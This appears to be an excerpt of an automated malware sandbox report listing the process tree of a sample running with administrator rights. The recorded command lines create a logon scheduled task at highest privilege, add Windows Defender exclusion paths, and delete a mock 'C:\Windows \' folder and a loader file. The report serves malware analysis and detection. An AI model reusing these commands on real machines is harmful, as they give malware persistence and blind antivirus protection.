Commandline:	cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	63
Start time:	01:36:38
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	64
Start time:	01:36:38
Start date:	10/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Imagebase:	0x7ff643350000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	65
Start time:	01:36:39
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c start "" "C:\Windows\System32\bav64.exe"
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	66
Start time:	01:36:39
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	67
Start time:	01:36:39
Start date:	10/12/2024
Path:	C:\Windows\System32\bav64.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\bav64.exe"
Imagebase:	0x7ff67b600000
File size:	3'193'856 bytes
MD5 hash:	DBE920F6626DB0DDCC757F787C855DF4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Has exited:	false

Target ID:	68
Start time:	01:36:39
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	69
Start time:	01:36:40
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c timeout /t 14 /nobreak && rmdir /s /q "C:\Windows \"
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	70
Start time:	01:36:40
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	71
Start time:	01:36:40
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	72
Start time:	01:36:40
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	73
Start time:	01:36:40
Start date:	10/12/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 14 /nobreak
Imagebase:	0x7ff7bf9e0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	74
Start time:	01:36:40
Start date:	10/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows \System32'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	75
Start time:	01:36:40
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command "Remove-MpPreference -ExclusionPath 'C:\'"
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	76
Start time:	01:36:40
Start date:	10/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Remove-MpPreference -ExclusionPath 'C:\'"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	77
Start time:	01:36:41
Start date:	10/12/2024
Path:	C:\Windows\System32\console_zero.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\console_zero.exe
Imagebase:	0x7ff7f1c50000
File size:	664'576 bytes
MD5 hash:	A11604F5C925DDAADF2988AF05F4071B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	78
Start time:	01:36:41
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c timeout /t 16 /nobreak && del /q "C:\Windows\System32\svcldr64.dat"
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	79
Start time:	01:36:41
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	80
Start time:	01:36:41
Start date:	10/12/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 16 /nobreak
Imagebase:	0x7ff7bf9e0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	81
Start time:	01:36:42
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	82
Start time:	01:36:42
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	83
Start time:	01:36:43
Start date:	10/12/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks /create /tn "console_zero" /sc ONLOGON /tr "C:\Windows\System32\console_zero.exe" /rl HIGHEST /f
Imagebase:	0x7ff643350000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	84
Start time:	01:36:43
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Users'"
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	85
Start time:	01:36:43
Start date:	10/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Users'"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	86
Start time:	01:36:44
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	87
Start time:	01:36:45
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	88
Start time:	01:36:45
Start date:	10/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'E:\'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	89
Start time:	01:36:46
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Users\'"
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	90
Start time:	01:36:46
Start date:	10/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Users\'"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	91
Start time:	01:36:49
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command "Remove-MpPreference -ExclusionPath 'C:\ProgramData'"
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	92
Start time:	01:36:49
Start date:	10/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Remove-MpPreference -ExclusionPath 'C:\ProgramData'"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	93
Start time:	01:36:49
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command Add-MpPreference -ExclusionPath 'F:\'
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	94
Start time:	01:36:49
Start date:	10/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	95
Start time:	01:36:49
Start date:	10/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command Add-MpPreference -ExclusionPath 'F:\'
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	96
Start time:	01:36:52
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Program Files (x86)'"
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	97
Start time:	01:36:52
Start date:	10/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Program Files (x86)'"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	98
Start time:	01:36:54
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Program Files'"
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	99
Start time:	01:36:54
Start date:	10/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Program Files'"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	100
Start time:	01:36:56
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Windows\TEMP\'"
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	101
Start time:	01:36:56
Start date:	10/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Remove-MpPreference -ExclusionPath 'C:\Windows\TEMP\'"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	102
Start time:	01:36:59
Start date:	10/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command "Remove-MpPreference -ExclusionPath 'colorcpl.exe'"
Imagebase:	0x7ff659870000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	103
Start time:	01:36:59
Start date:	10/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Remove-MpPreference -ExclusionPath 'colorcpl.exe'"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false